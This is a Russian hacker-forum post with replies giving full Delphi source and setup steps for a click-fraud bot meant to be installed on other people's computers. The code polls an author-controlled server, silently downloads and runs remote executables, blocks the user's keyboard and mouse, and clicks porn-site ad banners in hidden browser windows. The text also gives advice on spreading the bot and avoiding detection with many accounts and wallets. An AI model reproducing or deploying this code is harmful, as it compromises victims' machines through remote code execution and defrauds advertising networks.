Написание бота автокликера на примере Dosug.nu Сейчас существует множество партнёрских программ оплачивающие клики пользователей: clickcashmoney.com, begun, adsense. Насчёт, begun, adsense сказать не могу, но clickcashmoney.com имеет многоуровневую защиту от накруток, и ботов. То есть если тупо посылать http запросы, система определит что это бот, и забанит аккаунт. Запрос то каждый раз разный. Например реклама бегуна, сначала там одна реклама, обновил страницу вполне возможно будет другая, соответственно http запрос тоже другой. Что делать каждый раз парсить страницу, и на основе данных парсинга составлять запрос, - будет не рационально так как её построение может постоянно меняться, замучаешься потом код парсера переделывать. Что если эмулировать клики в запущенном браузере, баннер то всегда на одном и том же месте, и всё выйдет натурально и просто, без подделок и ухищиренний. На основе этой идеи мной был написан очень универсальный бот, максимально отвязанный от рабочих данных. Перед тем как постить код бота сюда я переделал его, убрал из него всё лишнее, и не по теме: автозагрузку, сокрытие процесса, успокоение, брандмауэра, и проактивной защиты и.т.д. Бот каждый 60 секунд проверяет прошло ли с момента последнего его запуска 26 часов(нужно чтобы оплачивались клики) , и есть ли сейчас интернет, и если эти условия совпадают, то пытается скачать файл содержащий текст Alaget script, что это такое я опишу позже. Если сайт на котором лежит файл недоступен, то скачивается аварийное обновление. Если же доступен то идёт загрузка файла и выполнение Alaget script. Ниже приведён код бота. Код максимально нужно комментирован. Code: program Click; uses Windows, SysUtils, WinInet, DateUtils, UrlMon, ShellApi; //Возвращает из указанной строки, с указанными разделителями, и номером подстроки, подстроку function GetToken(aString, SepChar: string; TokenNum: Byte): string; var Token: string; StrLen, TNum, TEnd: Byte; begin StrLen := Length(aString); TNum := 1; TEnd := StrLen; while ((TNum <= TokenNum) and (TEnd <> 0)) do begin TEnd := Pos(SepChar, aString); if TEnd <> 0 then begin Token := Copy(aString, 1, TEnd - 1); Delete(aString, 1, TEnd); Inc(TNum); end else begin Token := aString; end; end; if TNum >= TokenNum then begin GetToken := Token; end else begin GetToken := ''; end; end; //Если есть соединение с интернет возвращает True function CheckUrl(Url: string): boolean; var HSession, HFile: HInternet; DWIndex, DWCodeLen: DWord; DWCode: array [1..20] of Char; Res: PChar; begin Result := False; HSession := InternetOpen('InetURL:/1.0', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); if Assigned(HSession) then begin HFile := InternetOpenUrl(HSession, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0); DWIndex := 0; DWCodeLen := 10; HttpQueryInfo(HFile, HTTP_QUERY_STATUS_CODE, @DWCode, DWCodeLen, DWIndex); Res := PChar(@DWCode); Result := (Res = '200') or (res = '302'); if Assigned(HFile) then InternetCloseHandle(HFile); InternetCloseHandle(HSession); end; end; //Возвращает рабочую папку function GetWork: string; var a: array[0..MAX_PATH] of char; begin GetSystemDirectory(a, SizeOf(a)); Result := StrPas(a) + '\msftp\'; end; //Проверяет не прошло ли с момента запуска 26 часов function Is26: boolean; var F: TextFile; d1, d2: TDateTime; s: string; l: boolean; begin Result := False; AssignFile(F, GetWork + 'Date.txt'); if FileExists(GetWork + 'Date.txt') then begin Reset(F); Readln(F, s); CloseFile(F); d1 := StrToDateTime(s); d2 := Date + Time; l := ((DaysBetween(d1, d2) * 24 + HoursBetween(d1, d2)) >= 26); if l = True then begin AssignFile(F, GetWork + 'Date.txt'); Rewrite(F); s := DateTimeToStr(Date + Time); Writeln(F, s); CloseFile(F); Result := True; end; end else begin Rewrite(F); s := DateTimeToStr(Date + Time); Writeln(F, s); CloseFile(F); Result := True; end; end; //Проверяет не был ли запущен уже экземпляр function Check: boolean; var HM: THandle; begin HM := OpenMutex(MUTEX_ALL_ACCESS, False,'MutexCheck'); Result := (HM<>0); if HM = 0 then HM := CreateMutex(nil, False, 'MutexCheck'); end; procedure BlockInput; external 'user32.dll'; //Блокирует ввод procedure Block; asm push 1 call BlockInput end; //Разблокирует procedure UnBlock; asm push 0 call BlockInput end; var Handle: HWND; F: TextFile; s: string; x1, y1, x2, y2: integer; const CheckSite = 'http://mail.ru';//Сайт для проверки, есть интернет, или нет. Site = 'http://srcenzo.cc/';//Сайт с которого будут грузится скрипты. ZSite = 'http://danger.narod.ru/danger.exe';//Сайт с которого надо качать аварийное обновление. begin if Check then Exit;//Если уже запушен экземпляр приложения выйти. Handle := 0; while True do begin//1 Sleep(60000); if (is26) and (CheckUrl(CheckSite)) then begin//2 if not CheckUrl(Site + 'List.txt') then//Если сайт забанили тогда загрузить запасной файл begin//3 if CheckUrl(ZSite) then begin//4 DeleteFile(GetWork + 'update.exe'); UrlDownloadToFile(nil, ZSite, PChar(GetWork + 'update.exe'), 0, nil); ShellExecute(0, nil, PChar(GetWork + 'update.exe'), 'update', nil, SW_HIDE); Exit; end//4 else Exit; end;//3 DeleteFile(GetWork + 'List.txt'); UrlDownloadToFile(nil, Site + 'List.txt', PChar(GetWork + 'List.txt'), 0, nil); AssignFile(F, GetWork + 'List.txt'); Reset(F); while not EOF(F) do begin//5 Readln(F, s); if s = 'Exit' then Exit; if s = 'Block' then Block; if s = 'UnBlock' then UnBlock; if GetToken(s, ',', 1) = 'Load' then begin//6 Load UrlDownloadToFile(nil, PChar(GetToken(s, ',', 2)), PChar(GetWork + GetToken(s, ',', 3)), 0, nil); end;//6 Load if GetToken(s, ',', 1) = 'ShellExecute' then begin//7 ShellExecute ShellExecute(0, nil, PChar(GetToken(s, ',', 2)), PChar(GetToken(s, ',', 3)), nil, SW_HIDE) end;//7 ShellExecute if GetToken(s, ',', 1) = 'Sleep' then begin//8 Sleep Sleep(StrToInt(GetToken(s, ',', 2))); end;//8 Sleep if GetToken(s, ',', 1) = 'FindWindow' then begin//9 FindWindow Handle := FindWindow(nil, PChar(GetToken(s, ',', 2))); end;//9 FindWindow if GetToken(s, ',', 1) = 'SetWindowPos' then begin//10 SetWindowPos x1 := StrToInt(GetToken(s, ',', 2)); y1 := StrToInt(GetToken(s, ',', 3)); x2 := StrToInt(GetToken(s, ',', 4)); y2 := StrToInt(GetToken(s, ',', 5)); SetWindowPos(Handle, HWND_TOPMOST, x1, y1, x2, y2, SWP_SHOWWINDOW); end;//10 SetWindowPos if s = 'ShowWindow' then begin//11 ShowWindow ShowWindow(Handle, SW_SHOW); end;//11 ShowWindow if s = 'HideWindow' then begin//12 ShowWindow(Handle, SW_HIDE); end;//12 if GetToken(s, ',', 1) = 'SetCursorPos' then begin//13 x1 := StrToInt(GetToken(s, ',', 2)); y1 := StrToInt(GetToken(s, ',', 3)); SetCursorPos(x1, y1); end;//13 if s = 'Click' then begin//14 Click Sleep(100); mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); Sleep(100); mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); end;//14 Click if GetToken(s, ',', 1) = 'FastFindWindow' then begin//15 FastFindWindow Handle := 0; while Handle = 0 do begin//16 Handle := FindWindow(nil, PChar(GetToken(s, ',', 2))); end;//16 end;//15 FastFindWindow if GetToken(s, ',', 1) = 'SetWindowText' then begin//17 SetWindowText SetWindowText(Handle, PChar(GetToken(s, ',', 2))); end;//17 SetWindowText if GetToken(s, ',', 1) = 'ExitWindow' then begin//18 ExitWindow PostMessage(FindWindow(nil, PChar(GetToken(s, ',', 2))), $0012, 0, 0); end;//18 ExitWindow if GetToken(s, ',', 1) = 'ShellExecuteWork' then begin//19 ShellExecuteWork ShellExecute(0, nil, PChar(GetWork + GetToken(s, ',', 2)), PChar(GetToken(s, ',', 3)), nil, SW_HIDE) end;//19 ShellExecuteWork if GetToken(s, ',', 1) = 'Update' then begin//20 Update if StrToInt(GetToken(s, ',', 2)) > Version then begin//21 UrlDownloadToFile(nil, PChar(GetToken(s, ',', 3)), PChar(GetWork + GetToken(s, ',', 4)), 0, nil); ShellExecute(0, nil, PChar(GetWork + GetToken(s, ',', 4)), 'update', nil, SW_HIDE); Exit; end;//21 end;//20 Update end;//5 Exit;//В самом конце выход после всех операций. end;//2 end;//1 end. Как видно в бот встроен интерпритатор языка Alaget script. Alaget script, пусть будет громко сказано, - это язык программирования придуманный мной, и названный в честь меня. У него одна специфичная задача манипуляция окнами. Описание: Exit - Завершение работы Block - Блокирует мышь и клавиатуру UnBlock - Разблокирует мышь и клавиатуру Load,http://site.narod.ru/file.exe,file.exe - Скачивает, и сохраняет файл, с именем указанным в третьем параметре ShellExecute,C:\1.exe,update - Запускает файл, первый параметр имя файла, второй его параметр при запуске ShellExecuteWork,file.exe,parametr - Скачивает, сохраняет и запускает файл с параметром Sleep,1000 - Приостанавливает выполнение на количество миллисекунд указанных во втором параметре FindWindow,Porno - Microsoft Internet Explorer - (Связано с Handle) Ищет окно с заголовком указанным в параметре, и связывает с переменной Handle, должна вызываться первой, перед процедурами работающими с Handle SetWindowPos,0,0,800,600 - (Связано с Handle) Перемещает и отображает окно поверх других окон, первые два параметра это координаты верхнего левого угла, четвёртый параметр ширина, пятый высота ShowWindow - (Связано с Handle) Отображает окно HideWindow - (Связано с Handle) Прячет окно SetCursorPos,244,500 - Устанавливает курсор на координату заданную во втором и третьем параметрах Click - Производит щелчок мышью FastFindWindow,Dosug.NU - В Ы Б Е Р И С Е Б Е Р А З В Л Е Ч Е Н И Е !!! - Microsoft Internet Explorer - (Связано с Handle) Ищет окно с заголовком указанным в параметре, до тех пор пока не найдёт и связывает с переменной Handle SetWindowText,1111111 - (Связано с Handle) Устанавливает заголовок окна, который указан в параметре ExitWindow,Test - Закрывает окно, с заголовком указанным в параметре Update,1,http://site.narod.ru/update1.exe,update1.exe - Если цифра во втором параметре больше переменной Version тогда скачать,сохранить, и запустить с параметром update Давайте попробуем написать простенький скрипт, эмулирующий клики на Dosug.NU: 1. Нужно зарегестрировать три сайта. 2. Нужно зарегестрироваться в clickcashmoney.com. 3. На первый сайт загрузить порно контент, и баннеры с партнёрской ссылкой. 4. На второй сайт лоадер на случай аварийного обновления. 5. В исходнике задать нужные значения для констант. 6. Пишем скрипт комментарии нужно будет удалить. Code: ShellExecute,IEXPLORE,http://site_gde_porno/index.htm //Запускаем невидимое окно интернет эксплорера, с параметром вашего сайта FastFindWindow,http://site_gde_porno/index.htm Porno - Microsoft Internet Explorer //Ищет пока не найдёт окно с заданным нами заголовком Sleep,10000 //Ждём 10 секунд пока страница не загрузится Block // Блокируем пользователю вход чтобы не набедокурил ShowWindow //Отображаем окно SetCursorPos,124,456 // устанавливаем курсор над баннером Click // Кликаем HideWindow //Скрываем окно UnBlock // Разблокируем вход пользователь может шалить дальше Sleep,10000 //Ждём 10 секунд пока страница не загрузится Block // Блокируем пользователю вход чтобы не набедокурил SetCursorPos,73,473 // устанавливаем курсор в нужном месте Click // Кликаем SetWindowText,NadoZakrit //После клика открывается новое окно с таким же заголовком как у старого, старому меняем имя HideWindow //Скрываем окно FastFindWindow,Dosug.NU - В Ы Б Е Р И С Е Б Е Р А З В Л Е Ч Е Н И Е !!! //Ищем новое окно HideWindow //Скрываем окно UnBlock // Разблокируем вход пользователь может шалить дальше Sleep,10000 //Ждём 10 секунд пока страница не загрузится ExitWindow,NadoZakrit //Закрываем окно ExitWindow,Dosug.NU - В Ы Б Е Р И С Е Б Е Р А З В Л Е Ч Е Н И Е !!! //Закрываем окно Exit //Если надо выходим 7. Загружаем Alaget script на сайт. 8. Устанавливаем бота, очень желательно на московские компьютеры. Стоит учесть несколько моментов у пользователя могут быть нестандартные настройки браузера, например установлен дополнительный тулбар из-за него могут сбиваться нужные координаты курсора, и клики будут по не тем местам что у вас на компьютере. Чтобы избежать этого нужно экспортировать ветвь реестра HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer, естественно на этих же настройках и нужно писать Alaget скрипты. Бот перед началом сёрфинга должен импортировать настройки с вашего компьютера например вот так ShellExecute(0, nil, 'regedit', '/s iexplore.reg', nil, SW_HIDE);, или другим способом. Со стороны пользователя, будет видно что компьютер как бы подвисает, и на мгновенье вылетают окошки, через секунду вся опять нормально работает. Жадность фраера сгубила, не стоит, регистрировать один аккаунт, и на него гнать сотни ботов, тысячи ботов, доход будет большой, но админ заметит, что надо на этот аккаунт выплачивать много денег, а сайт даже не индексирован поисковиками, явная накрутка, админа может просто жадность задавить такие суммы выплачивать. Лучше зарегистрировать много аккаунтов, на каждом новый e-mail, webmoney кошелёк, с нового аккаунта, а не просто новый кошелёк созданный в старом аккаунте, 5-10 ботов привязанных только к этому аккаунту, на другие аккаунты - новые боты. С одного такого комплекта, будет выходить примерно 10$ раз в две недели, таких комплектов можно сделать сколько позволит трудолюбие, и усердство. Курочка по зёрнышку клюёт, и сыта бывает. Муторно, но я уже давно отказался от мысли, что можно легко, и без последствий заработать много денег, везде надо работать. В идеале можно сделать, чтобы бот сначала грузил, список доступных скриптов(каждый скрипт, щёлкает разное количество раз, в разных местах сайта), случайным образом выбирал из них один, и выполнял его. При этом доказать, что это не человек, будет очень сложно. Таким образом даже на много легче, можно накручивать, begun и adsense, да и любые другие, спонсоры тоже годятся. Данный исходник можно переделать, и использовать для проигрывания заранее написанных макросов, для автоматизации действий пользователя. В принципе можно использовать уже сейчас. Чтобы ты не делал всегда найдутся люди недовольные твоей работой. Я и WebKill. Мы публикуем работы. Несём людям радость образования. (C) Ballers(Alaget) специально для АнтиЧат.
Я новичёк в программировании. Щас начел учить php. Подскажите что делать с этими скриптам ? Вроде всё понел и есть идеи как можно модернизировать скрипт. Какое расширение скриптов ?
в упор не понял, ты называешь йазыгом тупо объявление пары функций? оО В принципе напоминает кашу из вырванных из учебника кусков кода. В общем ни о чём, очередной раз убедился, что вебкилл в авторах - жёсткая антиреклама(имхо конечно же)
Обидно, что люди совершенно не вдумываются в написанное. Ведь, я абсолютно не поддерживаю, и не как не связан с ВебКаллом. Я против тех, кто устроил необоснованную травлю. Те, кто сами ничего не могут, а травят тех, кто пишет. Я против травли творчества. Язык программирования, это набор команд, и инструкций, предназначенных для описания действий компилятора или интерпретатора. В моём коде присутствует самопальный интерпретатор придуманного мной языка. Да он очень примитивный, но это язык. Я не призываю тебя, на нём программировать. Или разводить тут флуд про языки программирования. Видать ты читал по диагонали, не сильно вдумываясь в написанное. Если ты ничего не понял, это не значит что статья не несёт смысловой нагрузки. Прошу заинтересованных лиц дать оценку такому поведению.